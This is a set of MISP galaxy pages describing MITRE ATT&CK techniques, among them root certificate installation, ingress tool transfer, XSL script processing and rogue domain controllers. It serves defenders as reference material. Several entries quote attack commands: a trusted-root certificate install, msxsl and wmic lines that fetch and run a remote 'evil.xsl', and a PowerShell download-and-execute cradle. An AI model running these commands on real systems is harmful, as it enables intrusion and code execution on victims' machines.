Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)
Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)
Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)
In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)
Internal MISP references
UUID d519cfd5-f3a8-43a9-a846-ed0bb40672b1 which can be used as unique global reference for Install Root Certificate - T1130 in MISP communities and other software using the MISP galaxy
External references
- http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf - webarchive
- https://attack.mitre.org/techniques/T1130 - webarchive
- https://capec.mitre.org/data/definitions/479.html - webarchive
- https://docs.microsoft.com/sysinternals/downloads/sigcheck - webarchive
- https://en.wikipedia.org/wiki/Root_certificate - webarchive
- https://objective-see.com/blog/blog_0x26.html - webarchive
- https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec - webarchive
- https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/ - webarchive
- https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1130 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-Windows:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Related clusters
To see the related clusters, click here.
Modify Existing Service - T1031
Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.
Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.
Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)
Internal MISP references
UUID 62dfd1ca-52d5-483c-a84b-d6e80bf94b7b which can be used as unique global reference for Modify Existing Service - T1031 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1031 - webarchive
- https://capec.mitre.org/data/definitions/551.html - webarchive
- https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11) - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://twitter.com/r0wdy_/status/936365549553991680 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1031 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Device Administrator Permissions - T1401
Adversaries may request device administrator permissions to perform malicious actions.
By abusing the device administration API, adversaries can perform several nefarious actions, such as resetting the device’s password for Device Lockout, factory resetting the device to Delete Device Data and any traces of the malware, disabling all of the device’s cameras, or make it more difficult to uninstall the app.(Citation: Android DeviceAdminInfo)
Device administrators must be approved by the user at runtime, with a system popup showing which of the actions have been requested by the app. In conjunction with other techniques, such as Input Injection, an app can programmatically grant itself administrator permissions without any user input.
Internal MISP references
UUID 82f04b1e-5371-4a6f-be06-411f0f43b483 which can be used as unique global reference for Device Administrator Permissions - T1401 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1401 |
| kill_chain | ['mobile-attack-Android:privilege-escalation'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Ingress Tool Transfer - T1105
Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer).
On Windows, adversaries may use various utilities to download tools, such as copy, finger, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as curl, scp, sftp, tftp, rsync, finger, and wget.(Citation: t1105_lolbas)
Adversaries may also abuse installers and package managers, such as yum or winget, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows search-ms protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures).(Citation: T1105: Trellix_search-ms)
Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync)
Internal MISP references
UUID e6919abc-99f9-4c6c-95a5-14761e7b2add which can be used as unique global reference for Ingress Tool Transfer - T1105 in MISP communities and other software using the MISP galaxy
External references
- https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - webarchive
- https://attack.mitre.org/techniques/T1105 - webarchive
- https://lolbas-project.github.io/#t1105 - webarchive
- https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf - webarchive
- https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/ - webarchive
- https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1105 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Graphical User Interface - T1061
This technique has been deprecated. Please use Remote Services where appropriate.
The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as Remote Desktop Protocol, instead of through a Command and Scripting Interpreter, to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.
Internal MISP references
UUID a6525aec-acc4-47fe-92f9-b9b4de4b9228 which can be used as unique global reference for Graphical User Interface - T1061 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1061 |
| kill_chain | ['attack-Linux:execution', 'attack-macOS:execution', 'attack-Windows:execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Modify System Image - T1601
Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.
To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.
Internal MISP references
UUID ae7f3575-0a5e-427e-991b-fe03ad44c754 which can be used as unique global reference for Modify System Image - T1601 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1601 |
| kill_chain | ['attack-Network:defense-evasion'] |
| mitre_data_sources | ['File: File Modification'] |
| mitre_platforms | ['Network'] |
Application Deployment Software - T1017
Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.
Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
Internal MISP references
UUID 327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61 which can be used as unique global reference for Application Deployment Software - T1017 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1017 |
| kill_chain | ['attack-Linux:lateral-movement', 'attack-macOS:lateral-movement', 'attack-Windows:lateral-movement'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Application Layer Protocol - T1071
Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22)
Internal MISP references
UUID 355be19c-ffc9-46d5-8d50-d6a036c675b6 which can be used as unique global reference for Application Layer Protocol - T1071 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1071 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Credentials in Files - T1081
Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)
In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)
Internal MISP references
UUID ba8e391f-14b5-496f-81f2-2d5ecd646c1c which can be used as unique global reference for Credentials in Files - T1081 in MISP communities and other software using the MISP galaxy
External references
- http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx - webarchive
- http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html - webarchive
- https://attack.mitre.org/techniques/T1081 - webarchive
- https://capec.mitre.org/data/definitions/639.html - webarchive
- https://posts.specterops.io/head-in-the-clouds-bd038bb69e48 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1081 |
| kill_chain | ['attack-Windows:credential-access', 'attack-IaaS:credential-access', 'attack-Linux:credential-access', 'attack-macOS:credential-access'] |
| mitre_platforms | ['Windows', 'IaaS', 'Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Remote System Discovery - T1018
Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or net view using Net.
Adversaries may also analyze data from local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) or other passive means (such as local Arp cache entries) in order to discover the presence of remote systems in an environment.
Adversaries may also target discovery of network infrastructure as well as leverage Network Device CLI commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)
Internal MISP references
UUID e358d692-23c0-4a31-9eb6-ecc13a8d7735 which can be used as unique global reference for Remote System Discovery - T1018 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1018 |
| kill_chain | ['attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery', 'attack-Network:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Indirect Command Execution - T1202
Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command and Scripting Interpreter, Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)
Adversaries may abuse these features for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd or file extensions more commonly associated with malicious payloads.
Internal MISP references
UUID 3b0e52ce-517a-4614-a523-1bd5deef6c5e which can be used as unique global reference for Indirect Command Execution - T1202 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1202 - webarchive
- https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe - webarchive
- https://twitter.com/Evi1cg/status/935027922397573120 - webarchive
- https://twitter.com/vector_sec/status/896049052642533376 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1202 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
XSL Script Processing - T1220
Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
msxsl.exe customers[.]xml script[.]xslmsxsl.exe script[.]xsl script[.]xslmsxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
- Local File:
wmic process list /FORMAT:evil[.]xsl - Remote File:
wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”
Internal MISP references
UUID ebbe170d-aa74-4946-8511-9921243415a3 which can be used as unique global reference for XSL Script Processing - T1220 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1220 - webarchive
- https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Wmic/ - webarchive
- https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75 - webarchive
- https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/ - webarchive
- https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/ - webarchive
- https://twitter.com/dez_/status/986614411711442944 - webarchive
- https://www.microsoft.com/download/details.aspx?id=21714 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1220 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Module: Module Load', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Standard Cryptographic Protocol - T1032
Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.
Internal MISP references
UUID 4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5 which can be used as unique global reference for Standard Cryptographic Protocol - T1032 in MISP communities and other software using the MISP galaxy
External references
- http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840 - webarchive
- https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - webarchive
- https://attack.mitre.org/techniques/T1032 - webarchive
- https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html - webarchive
- https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1032 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Derive intelligence requirements - T1230
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)
Internal MISP references
UUID 15d5eaa4-597a-47fd-a692-f2bed434d904 which can be used as unique global reference for Derive intelligence requirements - T1230 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1230 |
| kill_chain | ['pre-attack:priority-definition-planning'] |
Custom Cryptographic Protocol - T1024
Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.
Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.
Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)
Internal MISP references
UUID 3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d which can be used as unique global reference for Custom Cryptographic Protocol - T1024 in MISP communities and other software using the MISP galaxy
External references
- https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - webarchive
- https://attack.mitre.org/techniques/T1024 - webarchive
- https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf - webarchive
- https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1024 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Domain Generation Algorithms - T1520
Adversaries may use Domain Generation Algorithms (DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018)
DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.
Internal MISP references
UUID 60623164-ccd8-4508-a141-b5a34820b3de which can be used as unique global reference for Domain Generation Algorithms - T1520 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1520 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Parent PID Spoofing - T1502
Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment.(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA Scripting within a malicious Office document or any code that can perform Native API.(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)
Explicitly assigning the PPID may also enable Privilege Escalation (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)
Internal MISP references
UUID 9ddc2534-e91c-4dab-a8f6-43dab81e8142 which can be used as unique global reference for Parent PID Spoofing - T1502 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1502 - webarchive
- https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/ - webarchive
- https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/ - webarchive
- https://blog.xpnsec.com/becoming-system/ - webarchive
- https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags - webarchive
- https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works - webarchive
- https://www.countercept.com/blog/detecting-parent-pid-spoofing/ - webarchive
- https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1502 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Reflective Code Loading - T1620
Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., Shared Modules).
Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the Assembly.Load() method executed by PowerShell may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)
Reflective code injection is very similar to Process Injection except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)
Internal MISP references
UUID 4933e63b-9b77-476e-ab29-761bc5b7d15a which can be used as unique global reference for Reflective Code Loading - T1620 in MISP communities and other software using the MISP galaxy
External references
- https://0x00sec.org/t/super-stealthy-droppers/3715 - webarchive
- https://attack.mitre.org/techniques/T1620 - webarchive
- https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load - webarchive
- https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html - webarchive
- https://thewover.github.io/Introducing-Donut/ - webarchive
- https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/ - webarchive
- https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique - webarchive
- https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/ - webarchive
- https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/ - webarchive
- https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1620 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-Linux:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Module: Module Load', 'Process: OS API Execution', 'Script: Script Execution'] |
| mitre_platforms | ['macOS', 'Linux', 'Windows'] |
Rogue Domain Controller - T1207
Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.
Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)
This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)
Internal MISP references
UUID 564998d8-ab3e-4123-93fb-eccaa6b9714a which can be used as unique global reference for Rogue Domain Controller - T1207 in MISP communities and other software using the MISP galaxy
External references
- https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html - webarchive
- https://adsecurity.org/?page_id=1821 - webarchive
- https://attack.mitre.org/techniques/T1207 - webarchive
- https://github.com/shellster/DCSYNCMonitor - webarchive
- https://msdn.microsoft.com/en-us/library/ms677626.aspx - webarchive
- https://www.dcshadow.com/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1207 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Windows'] |
Software Deployment Tools - T1072
Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.
Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
SaaS-based configuration management services may allow for broad Cloud Administration Command on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Azure AD.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize Web Protocols to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)
Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)
The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.
Internal MISP references
UUID 92a78814-b191-47ca-909c-1ccfe3777414 which can be used as unique global reference for Software Deployment Tools - T1072 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1072 - webarchive
- https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d - webarchive
- https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem - webarchive
- https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1072 |
| kill_chain | ['attack-Linux:execution', 'attack-macOS:execution', 'attack-Windows:execution', 'attack-Network:execution', 'attack-SaaS:execution', 'attack-Linux:lateral-movement', 'attack-macOS:lateral-movement', 'attack-Windows:lateral-movement', 'attack-Network:lateral-movement', 'attack-SaaS:lateral-movement'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network', 'SaaS'] |
System Information Discovery - T1082
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)
